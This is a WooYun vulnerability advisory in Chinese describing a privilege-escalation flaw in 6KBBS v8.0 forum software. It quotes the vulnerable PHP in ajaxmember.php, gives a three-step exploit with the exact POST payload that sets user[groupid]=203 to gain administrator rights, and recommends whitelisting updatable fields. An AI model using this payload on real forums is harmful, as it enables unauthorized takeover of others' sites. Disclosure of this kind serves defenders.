漏洞概要 关注数(2) 关注此漏洞
缺陷编号: WooYun-2012-04171
漏洞标题: 6KBBS v8.0 普通用户提权漏洞
相关厂商: 6KBBS
漏洞作者: insight-labs
提交时间: 2012-02-03 13:39
公开时间: 2012-02-03 13:39
漏洞类型: 非授权访问/权限绕过
危害等级: 高
自评Rank: 20
漏洞状态: 未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 第三方不可信程序 设计缺陷/边界绕过 缺乏过滤 参数未过滤 php源码审核 提权 6KBBS
漏洞详情
披露状态:
2012-02-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-02-03: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
普通用户提权漏洞,可以提升为管理员权限。
详细说明:
<漏洞分析>
ajaxmember.php
case "modifyDetails":
$user = $_POST['user'];
if(getPopedom(5) == 0)
{
$user['usertitle'] = '';
}
if($user["email"] == "")
{
exit("资料不完整。");
}
foreach(explode(",", $cache_settings['reservedkeyword']) as $rkey)
{
if(!empty($rkey) && stristr($user['usertitle'], $rkey))
{
exit("自定义头衔含有禁用关键字");
}
}
$db->row_update("users", $user, "id={$lg['userid']}");
succeedFlag();
break;
user 数组未做任何限制导致用户POST一个user[groupid]=203的字段,row_update就会更新users表的groupid字段,把普通用户的权限更改为管理员。
漏洞证明:
<漏洞利用>
1、 注册并登陆一个用户。
2、 向/ajaxmember.php?action=modifyDetails页面post数据
user%5Bgroupid%5D=203&user%5Bemail%5D=aaaa%**.**.**.**
3、重新登录用户,即为管理员权限。
修复方案:
在更新之前加上验证语句,只保留允许更新的字段。
版权声明:转载请注明来源 insight-labs@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝
漏洞Rank:8 (WooYun评价)
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值